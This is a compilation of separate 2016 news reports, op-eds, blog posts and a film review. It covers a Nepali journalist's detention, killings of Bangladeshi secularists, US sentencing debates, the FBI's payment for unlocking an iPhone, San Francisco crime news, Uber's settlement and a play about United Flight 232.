Himalmedia co-publisher Kanak Mani Dixit was detained on Friday afternoon from near his office in Patan Dhoka in Kathmandu on the direct orders of the Chairman of the Commission to Investigate the Abuse of Authority (CIAA).

There are several indications that this was a deliberately vengeful act by the Chairman against Mr Dixit:

He was detained on Friday just before the courts closed to prevent being

freed on bail. He is locked up in a common jail cell for petty criminals at Gaushala Police Circle He was put in the cell despite having elevated blood pressure of 190/90 He has been kept in a jail cell and not the CIAAas own detention centre

Mr Dixit had been critical in his regular columns about the appointment of Mr Lok Man Singh Karki to head the CIAA three years ago, for which the high-level Rayamajhi Commission had accused him of being involved as

Chief Secretary in crackdowns on pro-democracy protesters in the last days of King Gyanendra rule exactly 10 years ago. Mr Dixit and other pro- democracy activists had also been detained for two weeks by the royal regime at that time.

Mr Dixit was mentioned in a list put out by the CIAA in November of individuals it said were aunder investigation for amassing disproportionate wealtha. Earlier this month, he was asked to present himself at the CIAA to which Mr Dixit had replied on Wednesday that the CIAA didnat have jurisdiction to issue such an order, and that it went against the spirit of a Supreme Court decision in November that questioning the basis on which the accusations of financial irregularities were made against him.

We condemn this action taken by the CIAA against a journalist, a pro- democracy and human rights activist. He is being detained in inhuman conditions, and we demand an immediate end to his physical and psychological harassment. Mr Dixit should be released unconditionally forthwith.

Federation of Nepalese Journalists (Himalmedia Chapter)

o o o

Announcement on Himal SouthAsian Website:

Founding editor Dixit in custody of CIAA

By The Editors

22 April 2016

Himal Southasianas founding editor and the Chairman of The Southasia Trust Kanak Mani Dixit has been taken in for questioning by the authorities of the CIAA (Commission for Investigation into the Abuse of Authority).

While the CIAAas investigations are related to Mr Dixitas role in the Sajha Yatayat, a cooperative bus service, we in Himal Southasian have full faith in our leadership and in the due process of law.
CNN - April 20, 2016

by Paul Fidalgo and Michael De Dora

Story highlights:

Nazimuddin Samad is the sixth secularist writer or publisher to be killed in Dhaka in past 14 months

Bangladeshi governments response has been shameful, authors say

(CNN) An innocent young man is brutally hacked to death in the street by marauding thugs with machetes, and the governments response is to effectively blame the victim. This is the outrageous and absurd situation in the supposed democratic state of Bangladesh, where a bloody campaign of terror is being waged against secularists and atheists who have criticized radical Islam. But rather than act to protect the rights and safety of its people, Bangladeshs leaders are coddling the killers and chastising the dead.

Last week in Dhaka, 28-year-old law student Nazimuddin Samad found himself surrounded by Islamist extremists, reportedly linked to al Qaeda in the Indian subcontinent. They hacked at him with machetes, and shot him to ensure he was dead, all because he had written posts on Facebook promoting secularism and criticizing radical Islam.

One would expect in a civilized world to see the government stand up for the rights of its people and unify the country against this kind of violence based on religion. But thats not what has happened. Rather than condemn the killers, Home Minister Asaduzzaman Khan scolded the victims, telling CNN: "The bloggers, they should control their writing. Our country is a secular state. ... I want to say that people should be careful not to hurt anyone by writing anything  hurt any religion, any peoples beliefs, any religious leaders."

This is only the latest shameful example of the Bangladesh government doing exactly what the terrorists want: to make people terrified that if they have something critical to say about religion, they could pay for it with their lives.

Sadly, secularists and other dissidents have been paying this price in Bangladesh since at least 1999. However, this current storm of violence began in February of last year, when Bangladeshi-American writer and activist Avijit Roy was hacked to death at a book fair in Dhaka, while his wife, Rafida Bonya Ahmed, was gravely injured and barely escaped with her own life. Several similar attacks followed, with four more writers and publishers killed and others injured. Unfortunately, Hindu, Christian, and Shia minorities have also been subjected to deadly attacks.

After the killing of Roy, many wondered where the outrage was from the Bangladeshi government. Sajeeb Wazed Joy, son of Prime Minister Sheikh Hasina, made it clear that the silence was all about political calculation, explaining: "Given that our opposition party plays that religion card against us relentlessly, we cant come out strongly for [Roy]. Its about perception, not about reality."

As more killings took place over the next several months, the Prime Minister herself declined to defend the right to free expression, and instead berated the slain. "You cant attack someone elses religion," she said. "Youll have to stop doing this. It wont be tolerated if someone elses religious sentiment is hurt."

And now we have Nazimuddin Samad, a bright, promising young law student, brutally slaughtered in public for exercising his basic human rights to freedom of belief and expression. Appallingly, as Samads blood still stained the street, Home Minister Khan said that part of the investigation would be "to see whether he has written anything objectionable in his blogs." This is not how a democratic state should respond to the killings of innocent civilians.

Since the beginning of this emergency, our organization, the Center for Inquiry, has been working with the U.S. State Department, U.S. Commission on International Religious Freedom, and other nongovernmental organizations to find ways to protect or bring to safety at least some of the secularists who fear for their lives, and urge the Bangladesh government to stand strong for human rights. We have also worked to see pressure placed on Bangladesh by the United Nations, and supported a U.S. House resolution introduced by Rep. Tulsi Gabbard, D-Hawaii, that demands Bangladesh affirm its secular constitution, protect minorities, and prevent the growth of extremism.

As a signatory to the International Covenant on Civil and Political Rights, Bangladesh has committed to protect freedom of religion, belief and expression for all its citizens. This includes the rights to believe or not believe, to hold opinions "without interference," and to express ones beliefs  including open criticism of religion. Indeed, Bangladeshs own constitution guarantees freedom of thought and conscience, as well as freedom of speech and expression.

By reprimanding the victims of these attacks, and doing little to bring the killers to justice, the Bangladesh government is abandoning its commitments and implicitly encouraging the killings to continue. And in doing so, it is putting the very future of the country as a pluralistic democracy at grave risk.

Paul Fidalgo is communications director for the Center for Inquiry. Michael De Dora is director of the centers office of public policy, the organizations representative to the United Nations and the president of the United Nations NGO Committee on Freedom of Religion or Belief. The opinions expressed in this commentary are theirs.
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This is the second in a series of profiles on candidates running to represent the 24th Congr
We hope you are having a great holiday season. As the year winds down, take a few minutes to go through this gallery of the top 2016 stories f
Four Connecticut cities have joined a pilot project to boost community participation in climate change planning. Community activities in Bridgeport, New Haven, New London and Norwich are being led by Connecticut Sea Grant with support from NOAA, and will focus on climate risk communication and planning for community resilience.
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 "Why I refuse to send people to jail for failure to pay fines" | Main | Virginia Governor, bolding using his executive clemency authority, restores voting rights to over 200,000 former felons!! 

April 22, 2016

Just how should sentencing law deal with a truly habitual petty criminal?

This morning I came across this recent Huffington Post piece lamenting in its headline a seemingly a very severe application of Louisiana's habitual offender law: "Louisiana Man May Face Life For Shoplifting Snickers Bars: Critics say the case shows how habitual-offender laws can bully small-time crooks into pleading guilty rather than risking the consequences of a trial." To its credit, the HuffPo piece use this latest shoplifting case story to talk more generally about how severe mandatory sentencing laws can functionally place tremendous pressure on a defendant to plead guilty to try to avoid an extreme prison term.

But, rather use this story to reiterate my long-standing disaffinity for severe mandatory sentencing provisions (especially because of the often unchecked power it can place in the hands of prosecutors), I did a bit of digging into the story behind the habitual offender now in big trouble for his candy caper, and what I found prompted the question in the title of this post. Consider specifically the factual backstory reported in this local piece headlined "Accused New Orleans candy thief, facing 20 years to life, turns down deal for 4 years":

New Orleans shoplifter Jacobia Grimes, facing a possible sentence of 20 years to life for stuffing $31 worth of candy bars into his pockets at a Dollar General store, has rejected a plea offer from District Attorney Leon Cannizzaros office that would have seen him serve a four-year sentence as a double offender, his attorney said Friday. The offer was the same sentence that Grimes agreed to serve when he pleaded guilty in 2010 to swiping socks and trousers in a similar shoplifting attempt. Grimes, 34, did not appear in court for a hearing Friday. He remains jailed on a violation of his $5,000 bond, having tested positive last week for opiates, cocaine, oxycodone and marijuana. But Criminal District Court Judge Franz Zibilich again suggested to prosecutors and Grimes attorneys that they work out a deal for less jail time, followed by probation and drug treatment. Zibilich noted Grimes lengthy criminal record, which includes more than a dozen arrests since 2000. Most of the nearly nine years he has spent in prison since 2001 were the result of shoplifting convictions, records show. I agree he has to pay the consequences, even though its candy. I would like to see some sort of split sentence, Zibilich said. However, Assistant District Attorney Iain Dover said state law may not allow it, given Grimes status as a potential quad offender under the states habitual offender law. I cant see how we get there under the law, Dover said. Cannizzaros office charged Grimes in a bill of information Feb. 3 under a state statute for theft of goods by someone with multiple convictions for the same thing. His earlier convictions elevated his alleged candy heist, on Dec. 9 at a Dollar General store on South Claiborne Avenue, to a felony. Whether Grimes would face 20 years to life if hes convicted of the candy theft would be up to Cannizzaros office. State laws give prosecutors discretion following a conviction to raise the ante by filing a multiple bill. His case, given the nature of the crime and the possible penalty, has gained wide attention, prompting Cannizzaro to publicly dismiss the notion that he would seek such a heavy sentence for a shoplifter. Dover argued that Grimes criminal record shows that slaps on the wrist dont seem to work. Its not the states fault. Its this guys fault. Hes had a chance. Hes had the opportunities, Dover said. Zibilich suggested that both sides could agree to go below the mandatory minimum prison sentence in a plea deal that includes treatment, so long as nobody challenged it. Do we have to be married to every single syllable of this book? he asked of the states penal code. Grimes trial is scheduled for May 26. His attorneys, Miles Swanson and Michael Kennedy, have opted to forgo a jury and let Zibilich decide the case.

This only things that seems really obvious to me in this case is that even some extended stints in state prison are not working to help Jacobia Grimes stop being a petty criminal. Even recognizing that incapacitating this petty criminal via incarceration is likely not especially cost effective for the taxpayers of Louisiana, at this point what other punishment options would you suggest the prosecutor and judge seriously consider under these circumstances?

April 22, 2016 at 12:50 PM | Permalink

Comments

This is a tough case because none of his crimes individually amount to much but the cumulative impact of the repetitive lawbreaking is a problem. There was a remark I once heard by a judge who commented that some people get the attention they need from society via the criminal justice system. This is probably such a case. His actions are a plea and a cry for help. Such a realization doesn't help much with producing an actual sentence, though. I don't know. Jail is obviously not the best place for this person but what other alternatives are there--I hear the judges frustration in that regard.



Posted by: Daniel | Apr 22, 2016 4:40:19 PM

This is the sort of case that makes me think serious corporal punishment should be tried. Give the man a caning instead of prison time and maybe he'll decide that he really doesn't like the consequences of his actions.

Posted by: Soronel Haetir | Apr 22, 2016 4:44:42 PM

As a practical matter, jail's not really a punishment for the guy. His difficulty is maintaining sobriety and living with some modicum of self discipline in the real world. So that's the appropriate sentence. Strong probation with sufficient supports so that it's not unreasonable to demand that he meet the requirements. Use HOPE-probation style short-jail-incarceration stints to enforce compliance. More expensive than regular probation, but still a lot cheaper than incarcerating him for four years, much less 20 to life.

Posted by: Gritsforbreakfast | Apr 23, 2016 2:03:50 PM

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 Just how should sentencing law deal with a truly habitual petty criminal? | Main | Iowa Supreme Court requires giving reasons for even a presumptive consecutive sentence, and concurrence laments when "sentencing is given short shrift" 

Virginia today is surely a state for lovers of voting rights in light of this remarkable news via the New York Times: "Gov. Terry McAuliffe of Virginia used his executive power on Friday to restore voting rights to more than 200,000 convicted felons, circumventing his Republican-run Legislature." Here is more:

The action overturns a Civil War-era provision in the states Constitution aimed, he said, at disenfranchising African-Americans. The sweeping order, in a swing state that could play a role in deciding the November presidential election, will enable all felons who have served their prison time and finished parole to register to vote. Most are African-Americans, a core constituency of Democrats, Mr. McAuliffes political party.

Amid intensifying national attention over harsh sentencing policies that have disproportionately affected African-Americans, governors and legislatures around the nation have been debating  and often fighting over  moves to restore voting rights for convicted felons.

In Kentucky, Gov. Matt Bevin, a newly elected Republican, recently overturned an order enacted by his Democratic predecessor that was similar to the one Mr. McAuliffe signed Friday. In Maryland, Gov. Larry Hogan, a Republican, vetoed a measure to restore voting rights to convicted felons, but Democrats in the state legislature overrode him in February; an estimated 44,000 former prisoners who are on probation are now eligible to register to vote as a result.

Theres no question that weve had a horrible history in voting rights as relates to African-Americans  we should remedy it, Mr. McAuliffe said Thursday, previewing the announcement he made on the steps of Virginias Capitol, just yards from where President Abraham Lincoln once addressed freed slaves. We should do it as soon as we possibly can.

The action, which Mr. McAuliffe said was justified under an expansive legal interpretation of his executive clemency authority, goes far beyond what other governors have done, experts say, and will almost certainly provoke a backlash from Virginia Republicans, who have resisted measures to expand felons voting rights. It was planned in secrecy, and came amid an intensifying national debate over race, voting and the criminal justice system. There is no way to know how many of the newly eligible voters in Virginia will register, but Mr. McAuliffe said he would encourage all to do so. My message is going to be that I have now done my part, he said.

The Republican Party of Virginia quickly issued a statement accusing Mr. McAuliffe of political opportunism and a transparent effort to win votes.

Those who have paid their debts to society should be allowed full participation in society, said the statement, issued by the party chairman, John Whitbeck. But there are limits. He said the governor was wrong to issue a blanket restoration of rights, even to those who committed heinous acts of violence.

Only two states  Maine and Vermont  have no voting restrictions on felons. Of the remaining 48, 12 states disenfranchise felons after they have completed probation or parole, said Marc Mauer, executive director of the Sentencing Project, a Washington policy organization that advocates restoring felons voting rights. Virginia is one of four states  the others are Kentucky, Florida and Iowa  that impose the harshest restrictions. The Sentencing Project says one in five African-Americans in Virginia is disenfranchised....

Mr. Mauer called Mr. McAuliffes decision a stunning development, and one that will have lasting consequences because it will remain in effect at least until January 2018, when Mr. McAuliffe leaves office. It covers those convicted of violent crimes, including murder and rape. This will be the single most significant action on disenfranchisement that weve ever seen from a governor, Mr. Mauer said, and its noteworthy that its coming in the middle of this term, not the day before he leaves office. So there may be some political heat but clearly hes willing to take that on, which is quite admirable.

Advocates who have been working with the governor say they are planning to fan out into Richmond communities Friday afternoon to start registering people. Until now in Virginia, felons were allowed to apply to have their voting rights restored, but the process could be cumbersome and those who have committed violent crimes faced a waiting period. That will be eliminated by Mr. McAuliffes action. That is a huge deal, said Tram Nguyen, an executive director of the New Virginia Majority, an advocacy group. We talk about needing to raise up your voice so that we can impact policy makers, and these people are saying to us, We dont have a voice, no one is going to listen to us, we dont even have our right to vote. 

Experts say that with the stroke of his pen, Mr. McAuliffe has allowed convicted felons to begin registering to vote, and that their voting rights cannot be revoked  even if a new governor rescinds the order. But the move could expose the governor to accusations that he is playing politics; he is a longtime friend of  and top fund-raiser for  Hillary Clinton, the likely Democratic nominee for president, and former President Bill Clinton....

The order builds on steps the governor has previously taken to restore voting rights to 18,000 Virginians since the beginning of his term, and he said he believed his authority to issue the decision was ironclad. Professor A. E. Dick Howard of the University of Virginia School of Law, who was the principal draftsman of a revised Constitution adopted by Virginia in 1971, agreed, and said the governor had ample authority. But Professor Howard, who advised Mr. McAuliffe on the issue, said the move might well be challenged in court. The most likely argument, he said, is that the governor cannot restore voting rights to an entire class of people all at once. Im assuming that the complaint will be that he has to act one pardon at a time, one person at a time, that hes not permitted to act wholesale, Professor Howard said. I think the language of the Constitution and the theory of the pardoning power all point to the same conclusion  that he can.

Virginias Constitution has prohibited felons from voting since the Civil War; the restrictions were expanded in 1902, as part of a package that included poll taxes and literacy tests. In researching the provisions, advisers to the governor turned up a 1906 report quoting Carter Glass, a Virginia state senator (and later, a member of Congress who was an author of the 1933 Glass-Steagall Act that regulated banks) as saying they would eliminate the darkey as a political factor in this State in less than five years, so that in no single county of the Commonwealth will there be the least concern felt for the complete supremacy of the white race in the affairs of government.

Mr. McAuliffe, who took office in 2014 and campaigned to restore voting rights to felons, said that he viewed disenfranchisement as a remnant of the poll tax and that he had been trying to figure out what more I can possibly do. He has been working with his legal team for months to live up to his campaign promise. His action Friday will not apply to felons released in the future; the governors aides say Mr. McAuliffe intends to issue similar orders on a monthly basis to cover more people as they are released. People have served their time and done their probation, Mr. McAuliffe said. I want you back in society. I want you feeling good about yourself. I want you voting, getting a job, paying taxes. Im not giving people their gun rights back and other things like that. Im merely allowing you to feel good about yourself again, to feel like you are a member of society.
 The latest news about the faltering state of federal statutory sentencing reform | Main | Just how should sentencing law deal with a truly habitual petty criminal? 

The title of this post is the headline of this lengthy recent Washington Post commentary authored by Ed Spillane, the presiding judge of the College Station Municipal Court and president of the Texas Municipal Courts Association. Here are excerpts:

As a municipal judge in College Station, Tex., I see 10 to 12 defendants each day who were arrested on fine-only charges: things like public intoxication, shoplifting, disorderly conduct and traffic offenses. Many of these people, like Melissa, have no money to pay their fines, let alone hire a lawyer.

What to do with these cases? In Tate v. Short, a 1971 Supreme Court decision, the justices held that jail time is not a proper punishment for fine-only criminal cases, citing the equal protection clause of the 14th Amendment. But in many jurisdictions, municipal judges  whether theyre overworked, under pressure to generate revenue through fees, skeptical of defendants claims to poverty or simply ignorant of the law  are not following the rules. As a result, far too many indigent defendants are cited for contempt of court and land behind bars for inability to pay.

Theres another way, and Ive been experimenting with it in my own courtroom.

There are no firm numbers nationally on how many fine-only cases end with the defendants in jail, but figures from particular jurisdictions around the country are grim, if partial. A 2014 survey by NPR, New York Universitys Brennan Center for Justice and the National Center for State Courts showed that in Benton County, Wash., a quarter of people in jail for misdemeanors on a typical day were there for nonpayment of fines and court fees. (The study also found that civil and criminal fees and fines had increased in 48 states since 2010.) The percentage of jail bookings in Tulsa involving inmates who had failed to pay court fines and fees more than tripled, from 8 to 29 percent of 1,200 inmates, between 2004 and 2013, according to reporting by the Tulsa World. Eighteen percent of all defendants sent to jail in Rhode Island between 2005 and 2007 were incarcerated because of court debt; in 2005 and 2006, that amounted to 24 people per day....

Fortunately, courts and judges are not powerless to fix the system.

First, defendants must be allowed to argue economic hardship in an indigency hearing, which is Constitutionally required if a defendant says he or she cant pay. Its unclear how many judges skip these hearings, and practices vary from one jurisdiction to another, but Lauren-Brooke Eisen, senior counsel at the Brennan Center, says theres no question that some judges arent holding them. Sometimes its not always nefarious, Eisen says. They have very full dockets. . . . It can require overtime just to finish their docket for the day. Its not always a deliberate decision to not hold those hearings....

Once a defendant proves indigency, we can also be much more creative in our sentencing than fine or jail (or a suspended drivers license, a popular measure that disproportionately hurts low-income workers who cant get to their jobs without driving). Community service at a nonprofit or government entity is one of the strongest tools judges have at their disposal; in my experience, it boosts defendants self-esteem and provides valuable assistance to organizations that need the help....

Judges can also sentence defendants to anger-management training, classes for first-time offenders or drunk-driving-impact panels. National research shows that alternative sentencing like teen court can reduce recidivism, and my time on the bench confirms this. One defendant in an alcohol-related case, Jeff Schiefelbein, was sent to a Mothers Against Drunk Driving victim-impact panel in 1997. He was so moved by the experience that he decided to create a designated-driver program for anyone who is intoxicated and needs a ride home. Since 1999, his organization, Carpool, has provided on average 650 rides each weekend in College Station.

And occasionally, as a judge, you can choose mercy. Roger S. was facing an $800 fine for speeding, driving without insurance or registration and driving with defective equipment. He also had terminal cancer. He wrote to me, explaining that he could not afford his treatments, much less what he owed the court. I picked up the phone and called him from court. He was a little surprised but pleased to be talking to the judge. After discussing his medical treatment and all of those costs in detail, I waived his fines because of indigency and inability to perform community service, much to his and his familys relief....

Of course, no matter how many great alternatives judges can provide instead of jail time, if a defendant fails to come to court, he or she wont be able to hear about them. Courts must be as accessible as possible, and that starts with allowing children to accompany their parents. One of the revelations in the Justice Departments report on Ferguson was that children werent allowed in municipal court, which explains why many defendants were unable to appear. Several courts in Texas limit or dont allow parents bringing their children, even though kids dont present a problem in my court  maybe because we provide coloring books and toys for them to play with while their parents take care of their cases....

I used to prosecute felonies as an assistant district attorney in Brazos County. During that time, I worked for a year in the intake division. This drove home a lesson that my boss, the district attorney, had been trying to instill in me: Every case file is an individual whose rights are as important and sacred as mine or those of my family. The decision to charge or dismiss demands empathy and vigilance. Misdemeanor criminal cases provide an opportunity for a much happier outcome than most felonies because there is a genuine chance for a defendant to learn from a mistake and never set foot in a courtroom again  and keeping someone out of jail is a good way to ensure that happens. In these cases, it should be possible for defendants to resolve their cases without losing their liberty.

All judges want to uphold the rule of law in the communities we serve, but too often we can get lost in the day-to-day business of running a court; we ignore the consequences of what we do. An arrest can cost a citizen his or her job, dignity and security. Alternative sentencing is a way to achieve what we should all want: an end to criminal behavior.
How much did the FBI pay the "gray hat" hacker or hackers who successfully unlocked the iPhone related to the San Bernardino terrorism case?

A lot, FBI chief James B. Comey Jr. said in response to that question at a technology conference in London, as quoted by the New York Times.

After a beat and a laugh, the official added that the amount was "more than I will make in the remainder of this job." With seven years and four months to go in his position and an annual salary of about $185,100, the Times extrapolates that, if Comey's logic is accurate, the Feds paid at least $1.35 million to have the phone unlocked. The FBI didn't confirm the number  but just to be clear, they paid whatever enormous sum to find exactly no new evidence and no communications with ISIS on the phone.

Reuters also quotes Comey on the subject, from the same talk at the Aspen Security Forum in London. "In my view, worth it," he reportedly said, although it remains unclear to the public what's been gleaned from the phone of Syed Farook.

While it was originally believed to have been an Israeli mobile forensics firm that the FBI commissioned to unlock the phone, it's now unclear who was the recipient of that federal bounty.

Specifically, the hacker or hackers seem to have been able to exploit a security flaw unique to iPhone 5C models running iOS 9. There are, according to research from IHS Technology via Reuters, approximately 10 million 5C iPhones in the US, 84 percent of them running iOS 9. It's still unclear if the government plans to share the vulnerability with Apple, as it typically does in such instances. Apple, for one, has called for that disclosure.

Related: Feds Paid 'Gray Hat' Hackers, Not Israeli Firm, To Crack That iPhone
A man found stabbed to death in front of San Francisco's Asian Art Museum Thursday has yet to be publicly named, and details behind the slaying remain scarce.

According to the San Francisco Police Department, the 25 to 30-year-old man was found dead at 1:53 a.m. Thursday near the intersection of Larkin and McAllister Streets.

Hoodline reports that police were seen "giving CPR" to the man as he lay "in front of the Asian Art Museum." According to an SFPD spokesperson, however, the man was "dead on arrival."

SFPD spokesperson Officer Carlos Manfredi says that the dead man "had been stabbed in the upper torso" by an "unknown male suspect aged 25-30." No arrests have been made in the case as of Friday morning, according to an SFPD spokesperson.

When reached by SFist Friday, a San Francisco Medical Examiner's Department staffer said that the victim's name had yet to be released, pending notification of his next of kin. SFPD describes the victim only as a black male aged 25-30.

A call to SFPD to confirm the number of homicides in San Francisco so far this year has yet to be returned, but this appears to be SF's first since the body of Nicole Fitts was discovered on April 8. If we assume that SFPD's statistics haven't changed, that would make Thursday's death the city's 13th for 2016.
Having white supremacist skinheads as the villains in a horror movie seems like such an obvious idea, Im surprised I havent seen it done before. (And before you scream Surf Nazis Must Die, stop. That was a comedy; it doesnt count.) But Green Room takes the idea and runs with it, giving us a movie whose most horrifying concept is that these days, it doesnt seem that far fetched.

East coast punk band The Aint Rights, (Anton Yelchin, Alia Shawkat, Joe Cole, and Callum Turner), are touring the Pacific North West in a beat-up van that often serves as their sleeping quarters, and runs on the gas siphoned out of parked cars. When a promised gig doesnt yield the hoped-for payout, a local punk they do an interview with tells the band he can get them a gig at a cousins skinhead club, (Its right wing well, technically far left), and as long as they stick to their early harder stuff, the band should be fine.

The club turns out to be in a warehouse deep in the woods, filled with confederate flags, shaved heads, and Chelsea haircuts. Not exactly enamored with the setting, the band opens with the Dead Kennedys "Nazi Punks Fuck Off," and while the crowds response involves bottle tossing and spitting, its actually not much different from a positive reaction. The band makes it through the set alive, but on their way out, they stumble upon a murder in their green room, and find themselves trapped behind a locked door with some hostile skinheads and one possible ally (Imogen Poots).

What looks like it could possibly be another torture porn type horror moviekids locked in a room, getting picked off one by oneis instead much closer to a siege movie, with shades of Assault on Precinct 13, as the heroes have to figure out how to escape their seemingly inescapable situation, some meeting grisly ends, and some using their wits to survive.

Director Jeremy Saulnier was part of the hardcore scene near Washington D.C., (and if you doubt it, he'll tell you all about it; a lot), and there's no doubt his experience adds definite realism to the club and its denizens. You can almost smell the stale beer and intolerance.

Whats perhaps most interesting about Green Room is that the villains, while irrevocably bad, arent faceless or mindless killers. Im not saying theyre presented as sympathetic, but by the end of the movie, you begin to understand how they became the racist murderous assholes they are. Its surprisingly easy, turns out. And if you dont think thats true, just keep your eye on that blunt metaphor pit bull, (their weapon of choice).

It also helps that the actors are universally excellent. Antonin Yelchin is the de facto hero, and sensibly so; hes probably the least punk member of the band, and almost fills the usual heroine-in-distress role; it's Alia Shaukat, the bands sole female member, who is pretty much the leader of the group. (And I'll gladly accept Shaukat as our new scream queen; this combined with her performance in the excellent The Final Girls proves she's up to the task). And Imogen Poots, (I'll just never get over that name), continues to impress in every role she has.

And then theres Patrick Stewart, as the leader of the skinhead clan. The movie's getting a lot of publicity because of his presence, and there's no doubt he's good. But it almost feels like lazy casting. He's bald! And he's British! Done! And while he's certainly a chillingly calm bad guy, I never really bought him as a skinhead. Throughout it all, he just doesn't seem ignorant enough.

Though, perhaps that's the film's ultimate message: Don't assume stupidity or ignorance where outright evil may exist.
It's been over two weeks since the body of a San Francisco mom was discovered in an area park, and a search began for her missing toddler. But though police have seized tens of thousands of pieces of evidence in the case, they said yesterday that they are still struggling to find the child or track down the killer.

As previously reported, Nicole Fitts, a 32-year-old mother of two who worked at the Harrison Street Best Buy, was found dead on April 8. In a press conference Thursday, police and the FBI gave more details of her slaying, saying that she was "buried in a small, shallow grave" that was discovered by San Francisco Recreation and Parks workers in McLaren Park.

Declining to give her cause of death, San Francisco Police Commander Greg McEachern said that Fitts was "manipulated to fit into the grave," at Thursday's presser. She was buried beneath "a plywood board with odd spray-painted markings," reports the Associated Press.

Saying that police do not believe that the board came from the park, McEachern said that "The plywood has markings on it we hope someone will recognize."

"It is our belief that the person brought the board with them."

At 9:45 on April 1, Fitts was seen on the T-Third in her "blue Best Buy shirt with her nametag." There are no reported sightings of her after that, and she was reported missing on April 5. At that time, her family told police that her 2-year-old, Arianna, was also missing.

Family members say they last saw Arianna in mid-February, and assumed that she was staying with friends or babysitters. According to the AP, Arianna "often spent the night outside of Fitts home and she was not in Fitts care when she disappeared," McEachern said, declining to elaborate on the childs custody status.

Though police have interviewed numerous people and "executed search warrants and seized more than 30,000 pieces of evidence at locations in Oakland, Emeryville and Daly City in connection with the locations where Arianna was thought to have been staying," the child's whereabouts remain unknown, McEachern says.

Fitts' co-workers at Best Buy say that Nicole had never mentioned any threats directed at her, and described her as "energetic" and "bubbly."

McEachern says that "police are working on the assumption that Arianna is still alive," and are hopeful that a sharp-eyed member of the public will provide them with the information they need to find her. Somebody out there knows where she is, somebody out there has information on her whereabouts, McEachern said.

We are pleading with you, contact us. Please help bring home that beautiful 2.5 year old girl.

The SFPD asks that if you see Arianna, call 911 immediately. If you have information on her whereabouts or on her mother's slaying, please contact the SFPD Homicide Unit at 415-553-1145, the SFPD Anonymous Tip Line at 415-575-4444, or text a tip to TIP 411 with SFPD at the beginning of the message.

Previously: SFPD Seeking Missing Two-Year-Old Girl Whose Mother Was Murdered


Welp, that big class-action lawsuit we've been talking about for over a year has been settled, along with a similar suit in Massachusetts, that we and a number of legal experts thought was going to be Uber's undoing  or, at least, its comeuppance. As you may recall, several labor lawyers were suing both Uber and Lyft on behalf of their "driver-partners" saying that because of the way the company was structured, all drivers legally should be considered employees and not independent contractors. Somewhere upwards of 160,000 current and former drivers in California were eligible to join the suit, according a judge's ruling in December, and it had the potential to cost the company upwards of $209 million. Now Uber has agreed to settle for $100 million, and as Wired notes, this settlement "doesn't really settle much of anything" when it comes to the drivers' rights, or whether Uber's business model is even legal.

A series of other decisions, including one last June that declared Yellow Cab drivers had to be treated as employees, spelled some potential financial heartache for Uber and Lyft as a number of judges appeared sympathetic with the idea that yes, these are not technology companies so much as they are transportation companies, and they're not treating the workers at the core of their business fairly under the law.

One key element which is addressed in the settlement is the idea that drivers receive ratings and their employment, and use of the Uber app, depends on these ratings. Uber now says it will, in addition to the individual payments to drivers to cover past expenses, "provide drivers with more information about their individual rating and how it compares with their peers." They say they'll also be more transparent about how and why drivers get deactivated.

In a statement Thursday, Uber CEO Travis Kalanick makes the case that because drivers can choose to work for both Uber and Lyft simultaneously and make their own hours, they ought to and should remain contractors. "Today, while the number of drivers using our app has grown dramatically, their reasons for doing so havent changed," Kalanick says. "In the U.S. almost 90 percent say they choose Uber because they want to be their own boss."

The plaintiffs' attorney, Shannon Liss-Riordan, tells the Examiner that she considers the settlement a victory, even if it doesn't answer the legal question at the center of the case. She acknowledges to the paper that trying the employee-vs.-contractor question in San Francisco would have been risky given that Uber is "everywhere and quite popular" here. "The debate won't end here," she assures us, so, this means such a case may still crop up elsewhere in the country in the coming months.

This is just the second big legal bill Uber is wiping off its books this month, the first being the $10 million settlement announced two weeks ago in which the company is paying off the cities of San Francisco and Los Angeles to stop hassling them about their safety promises  settling a 2014 suit brought by the city attorneys in both cities that, in part, accused both Uber and Lyft of making misleading statements to consumers with regard to driver safety, among a few other things. As a result, Uber changed it's "safe-ride fee" to a "booking fee," and it is now "bound by a permanent injunction prohibiting the company from making misleading statements regarding the safety of its transportation services or the background checks of its drivers." Uber also agreed in February to settle a class-action suit about the "safe-ride fee" and pay out $28.5 million to 25 million passengers.

Nevertheless, the company's legal woes are likely far from over. In addition to everything else, there's a case in New York State in which a judge is poking holes in the surge-pricing model, and has made comparisons between the company and The Silk Road.

All previous Uber coverage on SFist.
SIOUX CITY | While watching a play about United Flight 232 in Chicago, Lisa Zook said, she felt as though she was sitting outside the damaged airplane, looking through a window and watching the flight crew and passengers respond to the unfolding emergency.

Zook, who saw the play April 15 with Teresa Rosenboom of Sioux City, in Chicago's Chopin Theater, said the cast members took the audience of about 100 people along for the ride and ultimate crash landing in Sioux City.

"The play itself was incredible. Forever this is one thing that will be attached to my memories of Flight 232. It was so well done," said Zook, a Sioux City native who moved to Chicago in October after serving three years as the director of events and ambassador coordinator at the Siouxland Chamber of Commerce.

The play, titled "United Flight 232," has receive good reviews since opening March 19. Presented by the House Theatre of Chicago, the play is sold out through its May 1 closing date.

"The show has resonated quite powerfully," said Vanessa Stalling, the director who also wrote the play, adapting it from Laurence Gonzalez' 2014 book, "Flight 232: A Story of Disaster and Survival."

Siouxlanders are familiar with the events of July 19, 1989, when the crippled DC-10, damaged after the tail engine exploded and debris severed the hydraulic lines, cutting power to the mechanisms needed to fly an airplane, crashed at Sioux Gateway Airport. The pilots were able to control the plane enough to not only land it, but ensure that 184 of the 296 passengers and crew members survived the fiery crash.

Three actors play the roles of the flight attendants, and the other six cast members play multiple roles, including pilots and passengers.

For Jan Brown, the chief flight attendant, attending the play was like reliving the event.

"It's so hard for me to stand back and be objective because I'm right with them. It's very intense," said Brown, who's seen the play three times. "It's incredible how (Stalling) pulled it together."

Zook said the audience learns who the passengers are and where they were sitting while the plane makes its way to Sioux City. Amidst the uncertainty of their fate, passengers share what's going on around them and inside their minds.

"I cried periodically during the whole thing," Zook said.

Stalling said the powerful stories of the survivors recounted in Gonzalez' book struck her while reading it. She felt compelled to write a play not about a plane crash, but about our "inherent responsibility to one another," the ability of people to survive tragedy and solve difficult problems -- all messages she said are important for our current culture to hear.

More important than showing the crash itself, Stalling said, was showing how each person responded to the situation. The play has given Stalling perspective on how to walk through life and value those she loves. She believes the play is touching audiences in a similar way.

"It's giving people a chance to meditate on what's important to them," she said.

As the show's run nears its end, the theater company is looking into taking the show on tour. Impressed with what she's learned of Sioux City's response the day of the crash, Stalling said she'd strongly consider a tour stop here.

"People have inquired about it, and I know it would be quite an honor to do that," she said.
SCREENINGS

